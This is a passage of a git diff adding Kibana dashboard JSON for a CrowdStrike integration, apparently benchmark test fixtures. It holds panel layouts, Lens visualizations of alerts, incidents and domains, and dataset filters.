+ }, + "enhancements": {} + }, + "gridData": { + "h": 16, + "i": "d8841493-66ad-484a-8c0d-364af07dfc1d", + "w": 24, + "x": 24, + "y": 93 + }, + "panelIndex": "d8841493-66ad-484a-8c0d-364af07dfc1d", + "title": "Top 10 Source IP [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-96ed08f7-28f8-4a35-bcb6-699287f45a23", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "logs-*", + "layers": { + "96ed08f7-28f8-4a35-bcb6-699287f45a23": { + "columnOrder": [ + "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef", + "48e386b0-f54e-43b1-a156-338fff479377" + ], + "columns": { + "48e386b0-f54e-43b1-a156-338fff479377": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Source Domain", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "48e386b0-f54e-43b1-a156-338fff479377", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "source.user.domain" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "logs-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "f2b34b6b-b37a-4f69-8307-e1c4eb62e1b8", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "columns": [ + { + "columnId": "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef", + "isMetric": false, + "isTransposed": false + }, + { + "columnId": "48e386b0-f54e-43b1-a156-338fff479377", + "isMetric": true, + "isTransposed": false + } + ], + "layerId": "96ed08f7-28f8-4a35-bcb6-699287f45a23", + "layerType": "data" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsDatatable" + }, + "enhancements": {} + }, + "gridData": { + "h": 17, + "i": "563afa88-1775-4eb7-b9a4-623df26e9c9b", + "w": 24, + "x": 0, + "y": 109 + }, + "panelIndex": "563afa88-1775-4eb7-b9a4-623df26e9c9b", + "title": "Top 10 Source Domain [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "logs-*", + "layers": { + "7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9": { + "columnOrder": [ + "4bdc5759-4321-4d1c-97af-811435ad7854", + "0a4ab4bb-c951-448b-9c4c-a949d59074cd" + ], + "columns": { + "0a4ab4bb-c951-448b-9c4c-a949d59074cd": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "4bdc5759-4321-4d1c-97af-811435ad7854": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Destination Domain", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "0a4ab4bb-c951-448b-9c4c-a949d59074cd", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "destination.user.domain" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "logs-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "0b9b2061-279c-431c-b5d4-c16b4f99feaa", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "columns": [ + { + "columnId": "4bdc5759-4321-4d1c-97af-811435ad7854" + }, + { + "columnId": "0a4ab4bb-c951-448b-9c4c-a949d59074cd", + "isMetric": true, + "isTransposed": false + } + ], + "layerId": "7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9", + "layerType": "data" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsDatatable" + }, + "enhancements": {} + }, + "gridData": { + "h": 17, + "i": "fdd5aa72-947d-4a68-b912-5ab8bb724da3", + "w": 24, + "x": 24, + "y": 109 + }, + "panelIndex": "fdd5aa72-947d-4a68-b912-5ab8bb724da3", + "title": "Top 10 Destination Domain [Logs CrowdStrike]", + "type": "lens" + } + ], + "timeRestore": false, + "title": "[Logs CrowdStrike] Alert", + "version": 2 + }, + "coreMigrationVersion": "8.8.0", + "created_at": "2025-03-01T12:27:19.674Z", + "id": "crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c", + "managed": false, + "references": [ + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb:indexpattern-datasource-layer-836a096e-11de-4f16-8dc1-08de3e3a2b2f", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc:indexpattern-datasource-layer-b4403946-8fa4-464f-b1e2-17fae6304bb5", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc:5c9cfcd1-2c7f-493f-86a5-002bcf501fde", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8:indexpattern-datasource-layer-986a7419-3b29-4812-8f1e-8648d18ce08b", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8:db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "aaa3ce74-8cbd-4e77-837e-cdbd42494339:indexpattern-datasource-layer-6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "aaa3ce74-8cbd-4e77-837e-cdbd42494339:82644959-ef2b-4640-a0ca-d45036d96764", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "14405add-afa0-4e3f-9efd-1f52fad51027:indexpattern-datasource-layer-3a2c2235-1a9e-4db6-ac43-2f05c6775021", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "14405add-afa0-4e3f-9efd-1f52fad51027:9040575b-9449-4f08-98ae-116d26ebf28d", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4:indexpattern-datasource-layer-a6424e3b-fc6e-460e-8385-5a410a690d34", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4:7f2f6ede-7728-4214-a79c-27931101ec10", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "69f87d85-d0f2-4fb3-9e02-e970098547db:indexpattern-datasource-layer-e83ee069-a761-49ed-878d-c9972e55a388", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "69f87d85-d0f2-4fb3-9e02-e970098547db:9a07642d-eec9-4213-b1ae-bb5adbbcf25c", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "940c98f0-56e7-4e29-88d2-07f160f579cb:indexpattern-datasource-layer-4e7a254a-d432-4988-a5cb-3de38f841cc9", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "940c98f0-56e7-4e29-88d2-07f160f579cb:d887537f-f1fd-404b-8327-8bf3b0d1fdfe", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "9af8495e-c5fb-4fee-ae54-1fffa46a4401:indexpattern-datasource-layer-a278b2d5-076e-409c-b9ca-2da50d6d0a09", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "9af8495e-c5fb-4fee-ae54-1fffa46a4401:bbcb4d86-6890-474c-9975-f1476711cfad", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "e69a2e95-217d-43d5-acae-811245c3e308:indexpattern-datasource-layer-d64a8cc0-006e-4e06-9e75-e32cf447cf41", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "53575ba2-1378-4f8a-990d-2c5c603ea0a2:indexpattern-datasource-layer-3d13796e-f0f8-45e1-b836-ad209d6cb1ba", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b:indexpattern-datasource-layer-3e217a16-1cad-407e-a29d-33fb0efd613e", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "d8841493-66ad-484a-8c0d-364af07dfc1d:indexpattern-datasource-layer-de65c5ed-b26c-419b-9a15-9928336a1964", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "563afa88-1775-4eb7-b9a4-623df26e9c9b:indexpattern-datasource-layer-96ed08f7-28f8-4a35-bcb6-699287f45a23", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "fdd5aa72-947d-4a68-b912-5ab8bb724da3:indexpattern-datasource-layer-7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9", + "type": "index-pattern" + } + ], + "type": "dashboard", + "typeMigrationVersion": "10.2.0", + "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json new file mode 100644 index 0000000000..623e3c5bb6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json @@ -0,0 +1,1073 @@ +{ + "attributes": { + "controlGroupInput": { + "chainingSystem": "HIERARCHICAL", + "controlStyle": "oneLine", + "ignoreParentSettingsJSON": { + "ignoreFilters": false, + "ignoreQuery": false, + "ignoreTimerange": false, + "ignoreValidations": false + }, + "panelsJSON": { + "1424080f-b8da-4816-94dd-904bde41c6de": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "observer.address", + "id": "1424080f-b8da-4816-94dd-904bde41c6de", + "searchTechnique": "prefix", + "selectedOptions": [], + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Observer Address" + }, + "grow": true, + "order": 0, + "type": "optionsListControl", + "width": "medium" + }, + "234700e7-0f96-4054-9073-64b3e2d61fa2": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "data_stream.dataset", + "id": "234700e7-0f96-4054-9073-64b3e2d61fa2", + "searchTechnique": "prefix", + "selectedOptions": [], + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Datastream" + }, + "grow": true, + "order": 2, + "type": "optionsListControl", + "width": "medium" + }, + "2f027408-9e82-4fbe-8c59-f32e933b50f0": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "host.hostname", + "id": "2f027408-9e82-4fbe-8c59-f32e933b50f0", + "searchTechnique": "prefix", + "selectedOptions": [], + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Hostname" + }, + "grow": true, + "order": 1, + "type": "optionsListControl", + "width": "medium" + }, + "3dc73766-aa88-46ff-a02d-b0e600136550": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "event.action", + "id": "3dc73766-aa88-46ff-a02d-b0e600136550", + "searchTechnique": "prefix", + "selectedOptions": [], + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Event Type" + }, + "grow": true, + "order": 3, + "type": "optionsListControl", + "width": "medium" + } + }, + "showApplySelections": false + }, + "description": "", + "kibanaSavedObjectMeta": { + "searchSourceJSON": { + "filter": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "key": "data_stream.dataset", + "negate": false, + "params": [ + "crowdstrike.falcon", + "crowdstrike.fdr" + ], + "type": "phrases" + }, + "query": { + "bool": { + "minimum_should_match": 1, + "should": [ + { + "match_phrase": { + "data_stream.dataset": "crowdstrike.falcon" + } + }, + { + "match_phrase": { + "data_stream.dataset": "crowdstrike.fdr" + } + } + ] + } + } + } + ], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "optionsJSON": { + "hidePanelTitles": false, + "syncColors": false, + "syncCursor": true, + "syncTooltips": false, + "useMargins": true + }, + "panelsJSON": [ + { + "embeddableConfig": { + "enhancements": { + "dynamicActions": { + "events": [] + } + }, + "hidePanelTitles": false, + "savedVis": { + "data": { + "aggs": [], + "searchSource": { + "filter": [], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "description": "", + "id": "", + "params": { + "fontSize": 12, + "markdown": "## **Crowdstrike**\n\n### Navigation\n\n**Overview** \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f) \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows the overview of currently enabled Crowdstrike Integrations (Falcon and FDR).\n\n", + "openLinksInNewTab": false + }, + "title": "", + "type": "markdown", + "uiState": {} + } + }, + "gridData": { + "h": 41, + "i": "90059f1b-88f7-4e04-b755-081233d12559", + "w": 7, + "x": 0, + "y": 0 + }, + "panelIndex": "90059f1b-88f7-4e04-b755-081233d12559", + "title": "Table of Contents", + "type": "visualization" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "a973e58c-53cc-411f-87e5-3cbbd3f0dcf8", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "FDR Alerts", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "index": "a973e58c-53cc-411f-87e5-3cbbd3f0dcf8", + "negate": false, + "params": [ + { + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "logs-*", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.fdr" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.fdr" + } + } + }, + { + "meta": { + "alias": null, + "disabled": false, + "field": "event.kind", + "index": "logs-*", + "key": "event.kind", + "negate": false, + "params": { + "query": "alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "event.kind": "alert" + } + } + } + ], + "relation": "AND", + "type": "combined" + }, + "query": {} + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "color": "#6092C0", + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data", + "metricAccessor": "d11e6000-056a-4e47-add0-b0942e7bba2c" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsMetric" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 7, + "i": "461d0b53-5efe-44fb-8cba-73a6e1a701c0", + "w": 7, + "x": 7, + "y": 0 + }, + "panelIndex": "461d0b53-5efe-44fb-8cba-73a6e1a701c0", + "title": "FDR Alerts", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "1261050c-1c7b-426f-968d-78596586554e", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Falcon Incidents", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "index": "1261050c-1c7b-426f-968d-78596586554e", + "negate": false, + "params": [ + { + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "logs-*", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.falcon" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.falcon" + } + } + }, + { + "meta": { + "alias": null, + "disabled": false, + "field": "crowdstrike.event.Category", + "index": "logs-*", + "key": "crowdstrike.event.Category", + "negate": false, + "params": { + "query": "Incidents" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "crowdstrike.event.Category": "Incidents" + } + } + } + ], + "relation": "AND", + "type": "combined" + }, + "query": {} + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "color": "#6092C0", + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data", + "metricAccessor": "d11e6000-056a-4e47-add0-b0942e7bba2c" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsMetric" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 7, + "i": "82bafaa2-170e-4d47-a01b-84c7af225795", + "w": 7, + "x": 14, + "y": 0 + }, + "panelIndex": "82bafaa2-170e-4d47-a01b-84c7af225795", + "title": "Falcon Incidents", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "b6bfb664-2c78-419f-9616-f7c4b40f580e", + "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93", + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "b6bfb664-2c78-419f-9616-f7c4b40f580e": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Activity by Data Stream", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 2 + }, + "scale": "ordinal", + "sourceField": "data_stream.dataset" + }, + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "axisTitlesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "fittingFunction": "None", + "gridlinesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "labelsOrientation": { + "x": 0, + "yLeft": 0, + "yRight": 0 + }, + "layers": [ + { + "accessors": [ + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data", + "seriesType": "area", + "splitAccessor": "b6bfb664-2c78-419f-9616-f7c4b40f580e", + "xAccessor": "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93" + } + ], + "legend": { + "isVisible": true, + "position": "right" + }, + "preferredSeriesType": "area", + "tickLabelsVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 21, + "i": "3ae87a07-7518-4354-9eb2-2f548fcf2935", + "w": 27, + "x": 21, + "y": 0 + }, + "panelIndex": "3ae87a07-7518-4354-9eb2-2f548fcf2935", + "title": "Events over Time by Data Stream", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "2c916dee-9123-4c38-837b-848078cac0a5", + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "2c916dee-9123-4c38-837b-848078cac0a5": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Top FDR Alerts", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "event.action" + }, + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "index": "e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd", + "negate": false, + "params": [ + { + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "logs-*", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.fdr" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.fdr" + } + } + }, + { + "meta": { + "alias": null, + "disabled": false, + "field": "event.kind", + "index": "logs-*", + "key": "event.kind", + "negate": false, + "params": { + "query": "alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "event.kind": "alert" + } + } + } + ], + "relation": "AND", + "type": "combined" + }, + "query": {} + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data", + "legendDisplay": "default", + "metrics": [ + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "2c916dee-9123-4c38-837b-848078cac0a5" + ] + } + ], + "shape": "donut" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 14, + "i": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da", + "w": 7, + "x": 7, + "y": 7 + }, + "panelIndex": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da", + "title": "FDR Alert Types", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "24d5c96e-43cb-4b7f-bc94-8d85933c1ad6", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "2c916dee-9123-4c38-837b-848078cac0a5", + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "2c916dee-9123-4c38-837b-848078cac0a5": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Top Falcon Incidents", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "event.action" + }, + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "index": "24d5c96e-43cb-4b7f-bc94-8d85933c1ad6", + "negate": false, + "params": [ + { + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "logs-*", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.falcon" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.falcon" + } + } + }, + { + "meta": { + "alias": null, + "disabled": false, + "field": "crowdstrike.event.Category", + "index": "logs-*", + "key": "crowdstrike.event.Category", + "negate": false, + "params": { + "query": "Incidents" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "crowdstrike.event.Category": "Incidents" + } + } + } + ], + "relation": "AND", + "type": "combined" + }, + "query": {} + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data", + "legendDisplay": "default", + "metrics": [ + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "2c916dee-9123-4c38-837b-848078cac0a5" + ] + } + ], + "shape": "donut" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 14, + "i": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80", + "w": 7, + "x": 14, + "y": 7 + }, + "panelIndex": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80", + "title": "Falcon Incident Types", + "type": "lens" + }, + { + "embeddableConfig": { + "description": "", + "enhancements": {} + }, + "gridData": { + "h": 20, + "i": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981", + "w": 21, + "x": 7, + "y": 21 + }, + "panelIndex": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981", + "panelRefName": "panel_32d232a4-d1fd-43ac-8f5e-02e4e2aff981", + "title": "[Crowdstrike] Newest FDR Alerts", + "type": "search" + }, + { + "embeddableConfig": { + "description": "", + "enhancements": {} + }, + "gridData": { + "h": 20, + "i": 